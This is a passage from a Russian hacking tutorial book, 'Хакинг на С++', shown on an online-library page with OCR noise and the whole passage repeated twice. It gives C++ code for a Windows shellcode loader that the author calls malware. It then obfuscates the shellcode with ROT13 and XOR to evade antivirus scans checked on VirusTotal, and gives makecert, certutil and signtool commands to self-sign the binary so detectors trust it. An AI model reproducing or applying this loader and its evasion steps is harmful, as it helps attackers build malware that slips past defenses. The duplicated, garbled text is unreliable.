А. А. Ярошенко - Хакинг на С++
Название: | Хакинг на С++ | |
Автор: | А. А. Ярошенко | |
Жанр: | Учебники и самоучители по компьютеру | |
Изадано в серии: | неизвестно | |
Издательство: | неизвестно | |
Год издания: | - | |
ISBN: | неизвестно | |
Отзывы: | Комментировать | |
Рейтинг: | ||
Поделись книгой с друзьями! Помощь сайту: донат на оплату сервера |
Краткое содержание книги "Хакинг на С++"
Читаем онлайн "Хакинг на С++". [Страница - 9]
массива char включает приведение этого массива
к указателю на такую функцию:
void (*func) ();
func = (void (*) ()) code;
func ();
Однако мы обнаружили, что невозможно выполнить данные в стеке из-за
механизмов предотвращения выполнения данных (особенно данные в стеке
защищены от выполнения). Хотя этого легко добиться с помощью GCC (с
флагами -fno-stack-protector и -z execstack), мне не удалось сделать это с по
мощью Visual Studio и компилятора MSVC.
...
Примечание. Выполнение шелл-кода в приложении может по
казаться бессмысленным, тем более что мы можем просто реа
лизовать его возможности на С/С++. Однако бывают ситуации,
когда необходимо реализовать собственный загрузчик или ин
жектор шелл-кода (например, для запуска шелл-кода, сгенери•
. . ... . -
---. - ----·-- ....... - ................ -� ................ -. -......... -....... .
1 1.111.1 S l'a 1paii1111..:а На/11·ш·1•
рованного другим инструментом). Помимо выполнения извест
ного вредоносного кода (например, шелл-кода Metasploit), это
хорошая проверка концепции для проверки механизмов обна
ружения и обхода.
8.4. Выполнение шелл-кода
Фактический способ выполнения шелл-кода немного отличается. Нам
нужно:
• Выделить новую область памяти с помощью функции Windows API
VirtualAlloc (или VirtualAllocEx для удаленных процессов);
• Заполнить ее байтами шелл-кода (например, с помощью функции
RtlCopyMemory, которая по сути является оболочкой memcpy);
• Создать новый поток с помощью
CreateRemoteThread соответственно.
функции CreateThread или
Шелл-код также может быть выполнен с использованием массива символов
для приведения указателя на функцию, если область памяти, в которой на
ходится шелл-код, помечена как исполняемая.
Исходный код такого приложения будет выглядеть так:
##include
void main()
{
// Вставьте сюда сгенерированный шелл-код
const char shellcode [] = "\xfc\xe8\x82 (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode,
MEM_COММITIMEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = CreateThread(NULL, О,
(PTHREAD_START_ROUTINE)shellcode_exec, NULL, О, &threadID);
WaitForSingleObject(hThread, INFINITE);
•
·----------------------··---·----·--·---···---·--------·-------··---·-------···-··-IZ!il
\:а,,11111 11а ( ++
Итак, мы только что написали малварь. Попробуем "прогнать" его через
VirusTotal. Мы увидите, что у нашего вредоноса довольно большой процент
обнаружения. Далее мы попытаемся запутать код.
8.5. Запутываем код
Первое, что приходит на ум, это изменить шелл-код, чтобы избежать стати
ческих подписей на основе его содержимого.
Мы можем попробовать самое простое "шифрование" - применить шифр
ROT 13 ко всем байтам встроенного шелл-кода- так Ох41 станет Ох54, OxFF
станет ОхОС и так далее. Во время выполнения шелл-код будет "расшифро
ван" путем вычитания значения OxOD (13) из каждого байта.
Код выглядит следующим образом:
##include
void main ()
const char shellcode[] = "\x09\xf5\x8f ( ... ) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode,
MEM_COMMITIMEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
for (int i = О; i < sizeof shellcode; i++)
{
((char*)shellcode ехес)[i] = (((char*)shellcode_exec) [i]) - 13;
HANDLE hThread = CreateThread(NULL, О,
(PTHREAD_START_ROUTINE)shellcode ехес, NULL, О, &threadID);
WaitForSingleObject(hThread, INFINITE);
Мы также можем использовать шифрование XOR (с постоянным однобайто
вым ключом) вместо шифра Цезаря:
for (int i = О; i < sizeof shellcode; i++)
{
((char*)shellcode ехес) [i] = (((char*)shellcode_exec) [i]) л '\х35';
...................................................................................
,
1 1,1в,1:,; l'a 1paiio11,а \lа/н•ш·с
Снова откомпилируйте вредонос и пропустите его через VirusTotal. Вы уви
дите, что нам это особо не помогло и количество антивирусов, которые об
наруживают вредоносный код, не уменьшилось.
Мы можем обмануть антивирусы посредством подписания нашего кода сер
тификатом. Некоторые механизмы обнаружения вредоносных программ мо
гут помечать неподписанные двоичные файлы как подозрительные. Давайте
создадим инфраструктуру подписи кода - нам понадобится центр сертифи
кации и сертификат подписи кода:
makecert -r -ре -n "CN=Malwr СА" -ss СА -sr CurrentUser -а sha256 -су
authority -sky signature -sv MalwrCA.pvk MalwrCA.cer
certutil -user -addstore Root MalwrCA.cer
makecert -ре -n "CN=Malwr Cert" -а sha256 -су end -sky signature -ic
MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk MalwrCert.cer
pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx
signtool sign /v /f MalwrCert.pfx /t
http://timestamp.verisign.com/scripts/timstamp.dll Malware.exe
После выполнения вышеуказанных команд мы создали центр сертификации
"Malwr", импортировали его в наше хранилище сертификатов, создали сер
тификат для подписи кода в формате .pfx и использовали его для подписи
исполняемого --">
к указателю на такую функцию:
void (*func) ();
func = (void (*) ()) code;
func ();
Однако мы обнаружили, что невозможно выполнить данные в стеке из-за
механизмов предотвращения выполнения данных (особенно данные в стеке
защищены от выполнения). Хотя этого легко добиться с помощью GCC (с
флагами -fno-stack-protector и -z execstack), мне не удалось сделать это с по
мощью Visual Studio и компилятора MSVC.
...
Примечание. Выполнение шелл-кода в приложении может по
казаться бессмысленным, тем более что мы можем просто реа
лизовать его возможности на С/С++. Однако бывают ситуации,
когда необходимо реализовать собственный загрузчик или ин
жектор шелл-кода (например, для запуска шелл-кода, сгенери•
. . ... . -
---. - ----·-- ....... - ................ -� ................ -. -......... -....... .
1 1.111.1 S l'a 1paii1111..:а На/11·ш·1•
рованного другим инструментом). Помимо выполнения извест
ного вредоносного кода (например, шелл-кода Metasploit), это
хорошая проверка концепции для проверки механизмов обна
ружения и обхода.
8.4. Выполнение шелл-кода
Фактический способ выполнения шелл-кода немного отличается. Нам
нужно:
• Выделить новую область памяти с помощью функции Windows API
VirtualAlloc (или VirtualAllocEx для удаленных процессов);
• Заполнить ее байтами шелл-кода (например, с помощью функции
RtlCopyMemory, которая по сути является оболочкой memcpy);
• Создать новый поток с помощью
CreateRemoteThread соответственно.
функции CreateThread или
Шелл-код также может быть выполнен с использованием массива символов
для приведения указателя на функцию, если область памяти, в которой на
ходится шелл-код, помечена как исполняемая.
Исходный код такого приложения будет выглядеть так:
##include
void main()
{
// Вставьте сюда сгенерированный шелл-код
const char shellcode [] = "\xfc\xe8\x82 (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode,
MEM_COММITIMEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = CreateThread(NULL, О,
(PTHREAD_START_ROUTINE)shellcode_exec, NULL, О, &threadID);
WaitForSingleObject(hThread, INFINITE);
•
·----------------------··---·----·--·---···---·--------·-------··---·-------···-··-IZ!il
\:а,,11111 11а ( ++
Итак, мы только что написали малварь. Попробуем "прогнать" его через
VirusTotal. Мы увидите, что у нашего вредоноса довольно большой процент
обнаружения. Далее мы попытаемся запутать код.
8.5. Запутываем код
Первое, что приходит на ум, это изменить шелл-код, чтобы избежать стати
ческих подписей на основе его содержимого.
Мы можем попробовать самое простое "шифрование" - применить шифр
ROT 13 ко всем байтам встроенного шелл-кода- так Ох41 станет Ох54, OxFF
станет ОхОС и так далее. Во время выполнения шелл-код будет "расшифро
ван" путем вычитания значения OxOD (13) из каждого байта.
Код выглядит следующим образом:
##include
void main ()
const char shellcode[] = "\x09\xf5\x8f ( ... ) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode,
MEM_COMMITIMEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
for (int i = О; i < sizeof shellcode; i++)
{
((char*)shellcode ехес)[i] = (((char*)shellcode_exec) [i]) - 13;
HANDLE hThread = CreateThread(NULL, О,
(PTHREAD_START_ROUTINE)shellcode ехес, NULL, О, &threadID);
WaitForSingleObject(hThread, INFINITE);
Мы также можем использовать шифрование XOR (с постоянным однобайто
вым ключом) вместо шифра Цезаря:
for (int i = О; i < sizeof shellcode; i++)
{
((char*)shellcode ехес) [i] = (((char*)shellcode_exec) [i]) л '\х35';
...................................................................................
,
1 1,1в,1:,; l'a 1paiio11,а \lа/н•ш·с
Снова откомпилируйте вредонос и пропустите его через VirusTotal. Вы уви
дите, что нам это особо не помогло и количество антивирусов, которые об
наруживают вредоносный код, не уменьшилось.
Мы можем обмануть антивирусы посредством подписания нашего кода сер
тификатом. Некоторые механизмы обнаружения вредоносных программ мо
гут помечать неподписанные двоичные файлы как подозрительные. Давайте
создадим инфраструктуру подписи кода - нам понадобится центр сертифи
кации и сертификат подписи кода:
makecert -r -ре -n "CN=Malwr СА" -ss СА -sr CurrentUser -а sha256 -су
authority -sky signature -sv MalwrCA.pvk MalwrCA.cer
certutil -user -addstore Root MalwrCA.cer
makecert -ре -n "CN=Malwr Cert" -а sha256 -су end -sky signature -ic
MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk MalwrCert.cer
pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx
signtool sign /v /f MalwrCert.pfx /t
http://timestamp.verisign.com/scripts/timstamp.dll Malware.exe
После выполнения вышеуказанных команд мы создали центр сертификации
"Malwr", импортировали его в наше хранилище сертификатов, создали сер
тификат для подписи кода в формате .pfx и использовали его для подписи
исполняемого --">
Книги схожие с «Хакинг на С++» по жанру, серии, автору или названию:
Джон Эриксон - Хакинг: искусство эксплойта Жанр: Другие языки и системы программирования Год издания: 2010 |
А. А. Ярошенко - Хакинг на примерах Уязвимости, взлом, защита Жанр: Хакерство Год издания: 2021 |